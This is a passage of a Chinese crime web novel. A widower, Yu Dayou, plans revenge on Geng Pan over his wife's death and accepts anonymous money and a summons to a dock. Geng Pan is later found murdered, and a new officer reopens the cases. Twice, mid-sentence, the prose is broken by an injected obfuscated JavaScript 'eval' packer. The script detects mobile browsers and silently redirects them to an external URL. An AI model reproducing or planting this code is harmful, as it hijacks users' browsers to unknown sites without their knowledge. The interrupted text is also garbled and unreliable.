今天的所作所为,不过就是听人说了些耿攀杀人的风言风语,又听说耿攀这几天都没现身,所以才想借着找人的理由闹上一闹。 反正有枣没枣都先打上一杆子,说不定打到了呢。 依照耿家老头子好面子的性格,要是他闹大了,闹开了,这老头儿多半会为了平息闹剧,花钱打发自己。 可没想到,这死老头儿这次直接尥蹶子了,难得他今天起了个大早,屁也没捞到! 灰衣男子觉得惹了一身的晦气,一大早就倒霉,都快走到村口了,又转身冲着河阴村耿家诊所的方向唾了好几口。 此时已经是上午九点多钟,他们一伙儿人打打闹闹,正要离开,却听见远处的一个山坳里传来一阵阵惊恐的喊叫:“死人了!死人了!又死人了!” 叶全从警车上下来,一路上骂骂咧咧,就没有停下来的时候。 “这他妈的河阴村真是邪了门了,跟老子犯冲是不是,上一个案子还没搞完,现在又来!” 叶全恼恨地说完,横竖看路边的几颗碎石不怎么顺眼,“啪”一声,几颗碎石一颗接着一颗地被他踢入路旁的河沟里。 后面跟着的几个人好像习惯了他的举动,一言不发,看几个群众都看了过来,他们不由得十分尴尬地摸了摸鼻子。 一行人的最后,一个面目青涩的小伙子看叶全生了气,他感到十分不安,唯恐失控的叶全引起群众不必要的误会,就要从队伍最后面走上来。 身旁一个胖胖的警察看他要往前,急忙给他递了个眼色,摇摇头,低声制止他:“小江,听我的,别去!” “哥,我是小李。” “……” 余大佑没听到这头的动静,为了不引人怀疑,他从家里拿了一大堆换洗的衣物,装作是正要去医院的样子。 在早上五六点的时候,他就已经到达了村里。 他连夜从关图县的县医院走回河阴村,想用自己的方式结果了耿攀,但是刚走到村口,就隐隐约约看到几个来势汹汹的男子。 他连忙躲在了村口的老树后,等到他们一伙人走远了才接着往里走。 他看天色很快就要亮了,脚下步伐更是加快。 今天耿攀必须死在他余大佑的刀下。 但是出乎他意料,当他走到耿家诊所外面,打算翻墙进去的时候,前院忽然传来一浪高过一浪的吵闹声。 正是村口碰到的那一伙儿人。 耿家院子里,在大家纷纷迷糊着眼睛围观耿家诊所的热闹的时候,彼时余大佑正躲在耿家院子外面的枯井中。 那枯井前面有一颗老槐树,粗壮的树干将他和围观的人群隔挡开来。 所幸天色还没全部亮起,他藏身的地方又十分隐蔽,还没有人发现他。 不过灰衣男子一行人一直闹到了天大亮,将他的计划彻底打乱。 余大佑假意拿了一大堆行李,走到村口的时候,不巧地,又迎面碰到刚拿几颗碎石发疯的叶全。 余大佑见了叶全更是愤怒,不过他知道此时不应该再横生枝节,不愿意再同一个不相干的人浪费时间,他躲到人群身后,尽力降低自己的存在感。 好在叶全如今被新的杀人案惹得心烦意乱,并没有注意到余大佑。 在村长和几个老人的簇拥之下,叶全带着他的人走在最前面,一堆人浩浩荡荡地来到了凶案现场。 尸体在一处山坳里,位置相当隐蔽,所以多天来并没有人发现。 今早发现尸体的村民原是打算上山砍竹子,好编成竹篓,等到赶集的日子再拿到关图县城里卖。 他起个大早,错过了耿家的那场热闹,不曾想却意外见证了另一场“热闹”。 在竹林里挑选竹子的时候,他隐约觉得空气中似乎弥漫着一股恶臭,像是家里死老鼠的味道。 起初,他并没有在意,只想早点砍完竹子回家编 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深秋的天气已经渐冷,低温的状态让尸体基本保持着原状,并没有深度腐烂。 但是尸体已经在这处山坳里放了太多天,许多蚂蚁蚊虫循着味道,渐渐围在了尸体四周。 村长带着叶全一行人到达的时候,平日没人来的山坳已经密密麻麻地围了一堆人,他们正凑近了脑袋,打算看今天的第二场热闹。 “嘿,你们发现了没有,这里就是老邱头发现余大佑媳妇的地方,隔得不远,就是方向不同!” “像谁没有看到一样,我们谁看不到嘛你觉得,嘿什么嘿?” “……” 毕竟是死了人,村民们还不敢凑得太近,只是集中在竹林里,远远地看。 正在村民们议论个没完的时候,前方荆棘丛旁边,不知从哪里钻出来一个灰衣服的男子,他突然惊叫一声,然后就是哭天抹泪地嚎哭。 “啊!啊!啊!我的哥啊,我的哥,是谁害了你!” 灰衣男子胆子大,本想趁着警察和村长他们还没来,偷摸着上前看一眼。待到他看清楚躺在地上的男子的脸时,他再也不是看热闹的心态,转而发出了尖锐的喊叫。 男子的哭嚎声响彻云霄,在山坳里来回飘荡。 “这个人是谁啊?” “没见过。” “怎么没见过?我见过的,今天早上啊,耿家诊所,他不是去耿家要人吗?说他哥不见的那个!” “哦哦,逛窑子的那个!” “逛窑子?谁啊?谁逛窑子?”发现尸体的村民闻言也生出了兴趣,提着砍柴刀挤入了讨论圈,慌不迭地,一脸兴致盎然地问道。 还不等人回答他的问题,他手里握着的柴刀突然被一股力量抽走。 他再一看,正是灰衣男子,对方扯着他的柴刀刀背,一把从他手里抽出了刀。 “我哥。”灰衣男子死死盯着他,盯得他害怕地咽了咽口水,他见对方一脸凶煞,慌忙躲在了另一个人身后,不敢再多问一句。 灰衣男子拿正了刀,捏着刀把,越过围在竹林里集体噤声的众人,气势汹汹地要下山去。 “耿攀,一定是耿攀!这小子今天慌慌张张,一定是有鬼!就是他,肯定是他耿攀害了我哥!” 他满脸乖戾,捏着柴刀,刚一脚跳下田坎,就迎头遇上了不情不愿到了现场的叶全。 叶全看他手里还握着把刀,眉头一皱,双眼一横,趁着他没反应过来,飞起一脚,一声令下,几个警察便合力将他反手制服,压在泥土地里动弹不得。 山坳里的闹剧还在上演,甚至有弥漫到山下的趋势,不过余大佑并不知道。 赶回县医院的路上,他脑中思绪万千。 一会儿是女儿那张气息微弱的脸,一会儿是妻子被白布盖着的模样,一会儿是耿攀,一会儿又是叶全和王更生…… 但最后,他所有复杂的情绪都化为懊悔。 他悔恨自己运气不佳,没能在今早顺利杀掉耿攀,也悔恨自己无能又愚蠢,轻信了所谓的叶警官,以至于不能给妻子和女儿一个公道。 他一路紧赶慢赶,等到了医院的时候,天幕已然降下,四下一片漆黑,一整天又被他浪费掉。 他更加自责悔恨。 但医生的一句话却让他一整天的郁结一扫而光,并且暗自庆幸。 “你女儿今天下午醒了,现在又睡了过去,但是不用担心,她已经度过了危险期。” 还好,还好没能杀了耿攀…… 48.我一定要解脱 余大佑闻言,喜出望外,他忍不住心中的惊喜,立刻就要往余珍宝的病房里跑去。 但是医生之后的一席话,让他再次如坠冰窟。 余大佑从医生那里出来后,直接去了余珍宝的病房。 他的女儿此刻安安静静的睡着,一呼一吸之间已经颇有规律,仿佛只是做了个较长时间的梦。 余珍宝的外公和外婆两个人此刻在旁边的空床上歪歪斜斜地睡着,他俩最近都没有回家,一直在医院守着女儿拼死护下的外孙女。 两人身体本就不好,余大佑害怕他们在医院再生了病,曾经劝他们回家。 但是两个老人死活不肯,非要守着余珍宝,尤其是孩子的外婆,恨不得一步也不离开。 余大佑虽然不愿意离开女儿,但是又害怕吵醒了他们三个,想到刚才医生的嘱咐,心中烦躁不堪,干脆出了病房,拐去楼道尽头的水房里抽烟。 他向来是个沉闷的人,是孙英梅形容的木头和傻瓜,自从孙英梅走后,他更加沉闷。 一整天也说不出几句话,没人知道他在想些什么。 “你女儿的情况虽然有了好转,暂时度过了危险期,但是后续的治疗也不能松懈。她这一摔伤到了脑子,所以之后的治疗需要一笔比较高昂的费用,家属最好提前做好准备。” 烟雾缭绕之中,余大佑眉头紧锁。 脚边的烟头已经堆了好几个,但他仍然没有停下的趋势。 他不知道要怎么办,女儿前期的治疗已经将他这些年来做工攒下的钱消耗得所剩无几,甚至连岳父岳母两人的积蓄大多也已经投入进去。 现在才走完了第一步,就已经捉襟见肘,哪怕再卖掉他买给孙英梅的镯子,也于事无补。 后续的治疗应该要怎么办,他不知道。 除此之外,妻子和女儿被耿攀害成这样,一死一伤,叶全不作为,他自己又无能,连偷偷摸摸地将那人杀掉也做不到,难道就要这样看着妻子含冤九泉?看着伤害女儿的凶手逍遥法外? 当晚,余大佑想了很多很多,却得不出一个答案。 余大佑困顿在谜题之中,始终不能解脱。 次日,余大佑裹着一个薄薄的脏毯子在医院走廊尽头的铁皮长椅上醒来。 往常他一直是在长椅上,或者在病房里空出的病床上,将就凑活一晚上。 但可能是距离冬日越来越近,最近的气温也越来越低,余大佑一睁开眼就觉得身上裹满了一股寒气,冷得直逼他的四肢百骸。 “阿嚏!阿嚏!” 连着打了好几个喷嚏,还是觉得鼻子发痒,他抬手打算揉一揉鼻头。 刚一抬手,好像有一沓四四方方的纸,沉甸甸地从他的毯子里掉落出来,重重地砸在地上,然后“啪嗒”一声,掉落在地。 他觉得莫名其妙,还以为是路过的人将东西掉落在了他身上,四下一阵环顾,却空无一人。 早上五点多的医院,大多数病人和病人家属都还睡着,只有斜对面的值班室还亮着灯,一盏橘黄色的灯微弱无力地将灯光挥洒到走廊上,隐约能看见一颗低垂着睡觉的头颅。 一片寂静。 余大佑捏着信封的手顿了又顿,犹豫半天,有些忐忑地拆开了信封。 一沓钞票。 他的心突突直跳,心跳声仿佛装满了这条长廊。 余大佑看着这厚厚的一沓钞票,它好像一团火焰,乖顺地在他手里燃烧,虽然热气逼人,但是唯独不会伤害他,俨然一副任他处置的模样。 心脏快要跳出他的胸腔,他像小偷一样往走廊左右两端看了,并没有人。 余大佑想到此刻走廊另一头的病房中,正躺在病床上的女儿,他咽了咽口水,略一犹豫,就举止僵硬,不甚自然地将钞票贴着信封装进了左胸的衣服兜里。 不放心似的,余大佑甚至踮着脚尖,无声无息地踱步到两侧的楼梯口查看。 空无一人。 他顿时安了心,回到铁皮椅上,扯过掉落在地的毯子盖在身上,合上双眼继续睡。 睡不着,无论如何也睡不着。 那一沓钞票不再甘于任他处置了,好像失去了控制似的开始在他胸口燃烧。 它分明在惩罚他,惩罚他卑劣的偷盗行为;它也在捉弄他,捉弄他贪心暗藏却害怕承认。 余大佑忽地扯开毯子,翻身而起。 他一边走向斜对面的值班室,一边伸手从胸口处拿出那一沓钞票。 一片羽毛般的纸条从他手指缝里滑出,再轻飘飘地落在他脚面上。 “咚!”值班室里传来一声突兀的响动,余大佑慌忙弯下腰,蹲在地上。 原来是里面的值班小护士打瞌睡撞到了头。 等到里面再次安静下来,又传来一声声有规律的呼吸,他这才壮着胆子捡起了纸条。 纸条已经有些皱皱巴巴。 “要想救你女儿,想给孙英梅报仇,明天凌晨两点,到码头来。” 展开看完后,余大佑犹豫半晌,他摇了摇头,妄图驱走心中的杂念。 他狠狠地将纸条揉皱,高高地举起,正要丢到角落的垃圾桶中。 握着纸团子的手却好像是一张符咒,将他封印住,使他的手迟迟不能落下,另一只手中的钞票也灼烧得他下不了决心。 余大佑最终收回了手,将纸团子同那一沓钞票放在一起,他扯过掉落在地上的脏毯子,随意地搭在身上。 布满皱纹和老茧的右手紧紧地捂住左胸口,好像捂着他重生的希望。 他不想再困顿在迷局之中了,他想要逃脱出去。 对,他一定要解脱。 自从早上五点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16297976|179109||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 醒过来之后,余大佑揣着左胸口处的东西,怎么也睡不着。 后来他索性起身不睡了,就这样,浑浑噩噩熬到了中午。 余大佑耷拉着脑袋,双眼底下一团乌青,血丝爬满双眼。 他木然地买了午饭回到病房的时候,里面却传来久违的笑声。 余珍宝第二次醒了。 他看着病床上的女儿气息微弱地躺着,还是奋力地歪过头,瞪大了双眼看向他。 余大佑手里刚买回的午饭一下子就掉落在地上,“啪嗒”一声,惊得背对着余大佑的孙家老两口也侧目,转身回来看他。 两个老人悲喜交加,一边抹眼泪,一边兴奋地抚摸余珍宝的小脸儿,不住地说着:“好,真好……” 余珍宝不知道自己在哪里,她有些抗拒,但是外公外婆都在,到底有些安心了。 她正要忍着浑身的疼痛,张嘴问外公外婆,他们这是在哪里,余光却穿过外公撑在床侧的手臂,看到了爸爸的身影。 她立刻就坐不住了,撑起身体,想要朝余大佑扑过去,但是双手一动弹,就扯动到裹着纱布的伤口,疼得她皱紧了眉头。 余大佑看女儿心心念念地要他过去,慌忙一个健步到了病床旁边。 他将女儿搂在怀里。 那小小的身体如此的轻盈,如此的单薄,像是圈住一只展翅纷飞的蝴蝶,美丽动人,只是翅羽翻飞之间,要是不仔细护住了,下一秒必定稍纵即逝。 环抱着女儿的触感太不真实,以至于他低头看了又看。 余珍宝此刻也抬头看向他。 她不想在这张有奇怪味道的床上被爸爸抱着,她想爸爸像以前一样,一手抱着她的腿,一手抱着她的后背,带着她荡秋千。 “爸爸,”余珍宝痛苦地扯着嗓子,沙哑地问余大佑,“妈妈呢?妈妈去哪里了?” “妈妈……妈妈在家呢,她说她在家等我们珍宝,等你病好了,咱们就马上回家。” 余大佑和女儿目光相对的那一刹那,他飘摇不定的心突地安顿下来,像是一颗棋子,被人坚定地放在棋盘之上。 一子落定,再无更改。 他下定了决心。 第二天凌晨,余大佑裹紧身上的黑衣,从医院的侧门匆匆离开。 从东边的侧门往外走,穿过一条逼仄的巷子,再穿过巢河,顺着河堤一路往河流下游走。 夜色像是个骇人的野兽,在码头的河堤处张开了它的深渊巨口。 余大佑不知道已经走了多久,直到他远远地看见码头上站了一个人影。 他明白,自己再也没了回头的路。 余大佑就这样,沿着人影的方向,毫不犹豫地走过去。 那头骇人的猛兽,瞪大了铜铃般的双眼,戏谑嘲弄地看着他自投罗网,随即将他一口吞入腹中。 49.小巷中的尸体 几天后,耿攀死了,死在关图县的码头附近。 尸体被一个外地人发现。凌晨五点的天空一片漆黑,他为了赶上最早的绿皮火车,早早地就动身出发。 刚从租住的房子里走出来没多久,手里发着刺眼光亮的手电筒“呲呲”几声,灯光突然变得十分微弱。 前几天才新换的电池,也不知道哪里故障了,他心烦得大声咒骂:“他妈的,这才用了几天,垃圾玩意儿!” 这个手电筒是他一个月前下工的路上,在路边摆摊的盲人老头手里买的。 跟他一起工作的人曾经告诉过他,不要在他那里买东西,都是些质量差的垃圾货。 他看老头可怜,眼睛都看不到了还要独自谋生计,心一软就没信这个邪,结果果然上了当。 “你大爷的,穷人何苦骗穷人,老子看你可怜才买的!呸!你可怜什么可怜,老子最可怜!呸!” 他自言自语地骂着,才刚沿着狭窄阴湿的巷子走了几步,手电筒又同他作对。 连微弱的灯光也没了,手电筒彻底不亮了。 “操!” 一阵大风突然从巷口灌进来,刮得他忍不住上下牙打颤。巷子两侧的墙壁格外的高,连一点路灯的光亮也投不进来,他彻底地埋在了黑暗里。 他气得将手里的垃圾手电筒往墙壁上“啪”地一扔,干脆不要了。 一团暗影顺着抛物线飞出去,没传来砸到地上的清脆声音,不知道东西摔到了什么之上,只听到一丁点微弱的声音。 那声音有些沉闷,差点让人听不见。 而后就是手电筒在水泥地上哗啦哗啦的滚动声。 那手电筒估计是犯贱,被他这一摔,一下子又好了。 微弱的白光从手电筒里笔直地伸出来,像厉鬼泛白的手,和巷口处呼呼刮着的大风遥相呼应,惊得他浑身泛起一片寒凉。 他蹑手蹑脚地走到墙根,捡起了他的劣质手电筒,光束随着他晃晃悠悠抖动的手左右摇晃。 白色光团之中,一张惨白的脸和地上已然浸入水泥地的一大团血迹,也跟着他抖动的手晃动起来。 “啊——” 刚捡起的手电筒又重重地砸在地上,他抱头鼠窜,双脚发软,头也不回地冲出了巷子。 “来,这边,高队,您小心脚下啊,这边走。”叶全点头哈腰,格外周到,想要逆转他在高启航心中的形象。 听说这个空降来的高启航是北方人,为了博得对方的好感,他还专门用了“您”。 高启航面无表情,任由他拉起警戒线,引着自己走出了小巷。他满脸严肃,神情疏离,明眼人一看就知道是对叶全不满意。 高启航看也没看他,吝啬于给他更多的表现机会,几个跨步走出了巷口。 等到高启航走远了,叶全那张谄媚的笑脸变脸似的,一下子就垮下来。 他阴沉着一张脸,嘴里嘟嘟囔囔,没人能听见他说了些什么。 背后小巷子里,正在现场取证的警察们没能看到巷口这边发生的事情,都在埋头认真工作。 叶全看没人注意自己,视野里高启航的身影也完全消失不见,终于大着胆子,朝着他离开的方向骂了起来:“妈的,你一个嫩雏儿,吃的盐还没老子吃的饭多,还跟我拿乔起来了,呸!” “嘿!干嘛呢老叶?”王更生不知道什么时候出现在他身后,默默地听他骂完了人,找准时机,突然在他肩膀上狠拍一下。 叶全被吓得肝胆俱裂,回头一看,发现是存了心吓唬他的王更生,怒火一下子窜上心头。 “你管得着吗你?我犯不着跟你说!” 这人一直跟他不对付,早些年两人为了争功劳闹得整个系统都知道,两人不和的传言从此传了出去。 这些年来也没有丝毫缓和,要是碰上了,一准针尖对麦芒。 这次那个新来的高启航突然拿着余大佑的案子朝他发难,当着一众同事的面责问他办案不力,估计就是这个碎嘴子说出去的。 叶全早就这样认为,但是又拿对方没奈何,只能翻了他一个白眼,噔噔噔几步又回到了巷子里。 呸!丧良心的东西!老子爬不上去,你照样别想爬上去!叶全心头暗骂道。 王更生耸了耸肩膀,一脸无所谓,也跟着进入了巷子。 叶全急于改变他在高启航面前的形象,一反往日懒散的状态,这次查案事必躬亲,恨不得掌握每一个细枝末节,查清楚每一个疑点。 除此之外,他还要小心提防跟他分到一个组的王更生,唯恐错过某个突破点,被这个可恨的王更生抢了。 他估摸着,就是这个王更生在背后搞鬼,在他叶全告状之前,找到高启航率先参了他一本,所以高启航才不相信自他,这次让他也跟着来,就是为了制衡他叶全。 叶全看着对方恬淡无谓的模样,恨得咬牙切齿,恨不得把他撕个粉碎。 尸体现场查探完成,已经快到中午饭点。 现在全力查案不够,还得提防王更生的叶全,已经累得心力交瘁,肚子咕咕作响。 他饥肠辘辘地回到局里,正要去食堂吃饭,却被高启航告知:“河阴村的几个案子你都不用再插手,相关的资料都交接一下,把孙英梅和刘旺发的相关资料交给小李,后面自有其他的案子给你,你去吃饭吧。” 没等到叶全询问原因,高启航没有丝毫拖泥带水,大步回到了办公室。 办公室的大门一关,还跟在后方,打算打探一番的叶全便被隔离在了门外。 他脸皮厚,又有插科打诨的本事在身,混迹系统多年,这点识人辨物的本领还是有的。 新官上任三把火,他又被王更生那个小人告了一状,这个高启航看着也是个认死理的,估计会第一个拿他开刀。 如今这一关,怕是不好过了…… 叶全想到当初从耿家老爷子手里接过来的两千块钱,再想到自己如今的处境,心中顿时生出了无限的恼恨和后悔。 当晚深夜的会议室里,高启航坐镇,白天到巷子里查案的人全部都聚拢在一起。 王更生在,小李也在,所有人都在,唯独没有叶全。 小李作为没有经验的新人,在大家都畏惧严肃的新领导的时候,意外得到了大家的“谦让”,获得一个首先做汇报的机会。 他磕磕巴巴,忐忑不定,在大家纷纷投向他的目光中,艰难地完成了案子的报告。 “根据现场的情况来看,死者致命伤在颈动脉,死亡时间推测是昨晚晚些时候,或者是今天凌晨,具体时间还要等法医确定。 “结合现场水泥地上血迹的喷射方向来分析,凶手持一把尖刀,在死者身后出现,趁着死者醉酒没有察觉,利落地一刀划过脖子。 “现场暂时没有发现凶器,我们在巷子附近也进行了摸排,没有找到,应该是被凶手带走了。” “嗯……死者身份查清楚了吗?”高启航看着小李忐忑的神情,破天荒地点头,笑了笑。 王更生看他现在心情还不错,想要表现的心又抬起头。 不等小李回答,他急忙抢答:“死者是耿攀,本县河阴村人。他家三代人在河阴村以看病为业,开了一间诊所。现在名义上是他在打理,但实际上还是他父亲在操持。” 高启航挑了挑眉头,继续问道:“查清楚了吗,他为什么出现在巷子里?” “耿攀这趟来县城是为了参加他朋友的婚礼。他朋友住在码头附近的筒子楼里,听见巷子里死了人,就跑来巷子里看热闹,随即就发现死的是耿攀。” 高启航扯着嘴角 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16297977|179109||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 忍不住一声嗤笑,“这些人还真是爱看热闹,什么都要围过来看。那个耿攀最近跟什么人起过冲突?” 王更生揣摩不透他的意图,也分不清楚他言语中的褒贬,更重要的,他只是想抢答,并不知道耿攀跟谁不和。 作为一个敏锐的老鸟,他深知“说得多错得多”的道理,虽然高启航看着不好糊弄,但他仍然维系着老鸟的作风,撇开脑袋,假装没有听到领导的问询。 会议室里一阵沉默,良久之后,小李才举了举手。 高启航看到了他,抬眼示意他但说无妨,“那个,那个李……” “李江涛!” “对对,我这脑子最近老是记不住东西,你说吧,李江涛,我听着。”高启航笑得更加温和,眼光中甚至带有一丝赞赏,点头示意他继续。 “好嘞!”小李有了十足的信心,他一扫先前的拘谨惶恐,讲起了他中午接手的案子。 “死者刘旺发,和耿攀是朋友关系,家在河中村,无业,家中有一个弟弟刘旺财和一个老母亲。几天前,他的尸体在河阴村的悬崖底下的一处山坳里被村民发现。 “一天早上很多人都看到,他弟弟刘旺财去河阴村的耿家诊所大闹一场,嘴里大喊着耿攀把他哥哥交出来,但是没多久走了。 “结果当天上午还没走出河阴村,就传出了刘旺发死亡的消息。” 高启航的手指在落了漆的办公桌上敲了敲,彻底忽视王更生,只看向小李,“刘旺发怎么死的?” 小李双手递过去一份卷宗,“这是法医的鉴定结果,你看看。” 高启航接了过去,捏了捏厚厚的一沓,不耐烦地皱了眉头。 小李先是一愣,然后继续道:“刘旺发先是被人用匕首扎了胸腹部,连着扎了九刀,有一刀扎在了心脏,直接导致他大出血死亡。而后又被凶手从上方的悬崖推到山坳,掉落在荆棘丛里,直到被人发现。” “那就是说,耿攀有杀死刘旺发的嫌疑,为了给自己兄弟报仇,刘旺财也有杀死耿攀的嫌疑。” 小李接过高启航递回来的卷宗,忙不迭地点头,“初步看来是这样,具体的还要再查。” “嗯,继续。” “另外就是孙英梅的案子,也是在河阴村。说来也巧了,孙英梅和她女儿被人发现的地点,距离刘旺发尸体出现的地方也就一百来步。 “更早些时候,河阴村的一个村民从距离刘旺发一百多步的荆棘丛里,意外发现了坠落悬崖奄奄一息的孙英梅和她女儿余珍宝。 “得救之后,孙英梅伤势过重,不治身亡,她女儿也受了重伤,现在还在住院治疗。 “意外摔落悬崖也是有可能的,但是这个案子也有些奇怪。” 高启航坐了半天,坐得屁股疼,站起来一边活动,一边示意小李别卖关子继续讲。 “奇怪的是孙英梅丈夫余大佑的态度。案发之后,他一直主张是耿攀害了他的妻子和女儿,但是他拿不出证据,只是声称耿家诊所隔壁的老头儿可以作证,还因此和叶警官大闹一场,给自己惹了些麻烦……” “就是被叶全拘了的那个?” 小李抬头看他,一脸震惊,“你……你怎么知道?” 高启航没回答他的问题,而是继续说叶全,“这个叶全,倒是会借刀杀人。” 王更生一直坐在角落仔仔细细地听这头的动静,闻言,眼睛直放光,正要再添一把火,却听高启航作出了布置。 “今天晚上大家伙儿都回去好好休息。从明天起,咱们在场的诸位分成两队人马。 “一队去河阴村和县医院,找村民们了解情况,重点是找余大佑,查孙英梅一案;另一队去河中村,找刘旺财和他母亲了解信息,查刘旺发一案。 “好了,没有问题就散会!” 50.太晚了 “余珍宝家属!余珍宝家属!谁是余珍宝家属?” 一个长脸的年轻护士双手插在白色护士服里,从病房门口探出个脑袋,扫视一圈儿,大声朝病房里的几个人问。 “我,我是。” 余大佑本有些失神地坐在一边的空床上,听见护士的大嗓门儿,害怕惊扰到沉沉睡过去的余珍宝,慌忙从床上弹起来,一边朝外走,一边回头看她有没有被吵醒。 护士看他过来了,将身子再转回走廊,仍然扯着嗓子,转身对跟在她身后的余大佑说:“你就是余珍宝家属?” 没等余大佑张嘴回答,她自顾自地催促:“前两天交的钱用完了啊,已经欠费了现在,还差五千,这周五之前记得赶紧去缴费。” “怎么花得这么快?我不是才缴……” 护士听了这话,脸上一瞬间就布满了厌烦和不耐。 “你问我干什么玩意儿?又不是我给你开的药,你自己去问医生啊!要不你就直接把你女儿带回家,干脆别治了!没钱看什么病!” 她没耐心回答对方的问题,冲余大佑翻了个白眼儿,转头走人。 一个不留神,重重地撞上了来人。 “对不起,对不起,”高启航连连弯腰道歉,“护士小姐,没撞疼您吧?” 长脸护士半抬起头,刻薄的话语一张嘴就机关枪一样地往外吐,“小姐?你才小姐!你全家都是……” 话说到一半,眼前高大帅气的年轻男人一下子就让她愣了神。 刻薄的话再不说了,尖酸的劲头也一下没了,她脸上的粉红从脸蛋蔓延到耳根子。 眼含柔情,喏喏半天,扭捏着身子,夹着嗓子正要说话,眼前的男人直接绕过了她,径直走向病房中的余大佑。 医院后花园的长椅上,高启航和余大佑并排而坐,两人沉默良久。 十几分钟以后,李江涛也从医院出来,追上了高启航。 他刚趁着余大佑被高启航带到后花园的功夫,找到两天前的晚上,也就是耿攀死亡当晚值班的医生和护士。 两人都反映,当天晚上孙英梅的父母回家换洗衣物,只有余大佑寸步不离地守着余珍宝,那晚他一直待在病房里,没有出去过。 同病房隔壁床的家属也可以作证。 李江涛一进入小花园就感受到里面有些凝滞的氛围。 高启航的视线直直地越过余大佑望向他,他小幅度地摇了摇头。 高启航立刻明白了,看来余大佑的嫌疑要被排除掉。 李江涛走向两人,他本来也想坐在旁边空着的破椅子上,但是他领导坐下了,他就不敢坐了,只好挺直肩膀,拿出笔记本认认真真地记录。 “这样吧,我先自我介绍一下。高启航,关图县警察局城南分局的警察,刚接手您妻子的案子。” 余大佑十分忐忑,心脏怦怦跳,面上却一点儿不显。他埋头坐在椅子上,不停地揉搓双手的大拇指和食指。 听到高启航的介绍,他起初是无所谓的态度,直到听见对方提起孙英梅。 他的脑袋本能就要看向对方,抬到一半儿又害怕露出马脚,又埋了回去。 高启航看着他搅弄的手指,只装作没看见。 “这位是我们的新人同志,李江涛,您肯定见过,之前他和叶全一组,负责您妻子的案子。小李……哎你也坐啊,站着干什么。” 李江涛突然听到高启航提到他自己,连连回答,十分拘谨地坐下。 “今天我来这一趟呢,是想要跟您了解几个情况,希望您能如实告知。” 余大佑沉默不语。 高启航也不在乎,询问继续。 “听之前办案的同事说,您妻子出事之后,您一直认为耿攀就是凶手,具体理由是什么呢?” “没有什么理由,全是我猜的,只是因为耿攀名声不好。”余大佑随口答道。 “现在局里已经打算按照意外坠崖来结案,您对这个结果认可吗?” 余大佑嘴角一撇,无所谓地笑笑,“认可,没什么不认可,你们人民警察查出来什么,我就信什么。” 这人一副公道正派的样子,看来也是和叶全一路货色,还好自己一开始就没有相信他。余大佑暗自庆幸,却从心头涌起一股强烈的悲凉感。 一个农村妇女死了,有谁会在意?不会有人在意的…… 高启航看到了余大佑嘴角的冷笑,他顿了顿,反问道:“那你为什么跟叶全起了冲突?” “人和人起冲突,有矛盾,不是很正常吗?话赶话就吵起来了,然后就打了起来——” “不是!你们不是话赶话,我听到你那时候提起了什么‘蓝色布条’、‘小元’还有‘隔壁老头的口供’,叶全不承认,你才打了他。” 李江涛激动地打了个岔,然后十分肯定地说:“你没有说真话,我当时就在现场,我听到了。” 高启航看了看李江涛,又看了看余大佑,静静地等待对方做出反应。 余大佑忍不住望向李江涛,回想了片刻,才意识到他就是当天拷走自己的人。 他被人当场戳穿,也不知道应该再怎样反应,正好面无表情地抿抿嘴,干脆装死不说话。 这件案子里,李江涛从头到尾都参与其中,只不过他只是个无足轻重的小兵,功劳和风头自然都是叶全的。 他虽然像个透明人一样存在着,但是他清楚案子中的每一个细节。叶全安排他查的东西,他查了,叶全没有安排过的,他也查了。 李江涛从最开始就知道这个人有多想要给妻子女儿报仇,虽然不知道为什么他突然对找出真相不再表现得热衷,但是李江涛坚信对面这个老实巴交的人一定是有了难言的苦衷。 少年人总有最大的热忱,他李江涛也不例外。 所以,虽然他的积极认真一直被叶全提防,更是被他打压,但早在余大佑被叶全找个理由拘留的时候,他就抽出时间,暗中开始了自己的调查。 叶全卖力压榨他,以锻炼他为由,给他安排一些无关紧要的工作,不让他在上班的时候能喘上一口气,但是没关系,上班查不了,他就下班去,明着查不了,他就偷偷查。 河阴村太远,叶全又不让他用公车,他就坐了个黑车,一路颠簸,摸到了耿家隔壁,找到了余大佑所说的那个邻居老头儿。 起初,老头儿十分不配合工作。 他一提到案子,老头儿就推脱,什么年纪大了记性不好,什么头痛脚痛的毛病又犯了。 直到他第三次偷偷去老头儿家,还被黑车司机骗了五块钱之后,兴许是老头儿被他烦透了,又或许是他那次给老头带了一条烟,不管什么原因,老头儿告诉了他真相,只是再三叮嘱他,让他千万别说是他庄家老头说的。 原来孙英梅出事的当天下午,老头儿在家里正喝着小酒,突然听见隔壁耿家的院子里传来一阵高过一阵的轰隆声。 他被搅得心烦意乱,骂骂咧咧地要出去唾上几口。 走到门槛的时候,就看见穿着一件蓝色花衬衣的耿攀坐在摩托车的后座上,一眨眼的功夫就驶离了他的视野…… 李江涛热切地盯着余大佑,希望他能相信自己,他将挂在身后的帆布包转到身前,从里面掏出一个不显眼的黑色笔记本。 笔记本上密密麻麻地布满他的笔记,侧面脏脏的,足可以见它的主人用得有多频繁。 李江涛咬着笔,一页一页,十分急切地翻找。 “你看!这就是那天的口供。”李江涛没看到饶有兴致看着他的高启航,忘了他同事教他的所谓“职场礼仪”,直接忽略了高启航,把笔记本递给了余大佑。 “我……我不认识字。”余大佑手伸到一半,停顿了片刻,然后握紧拳头又缩了回去。 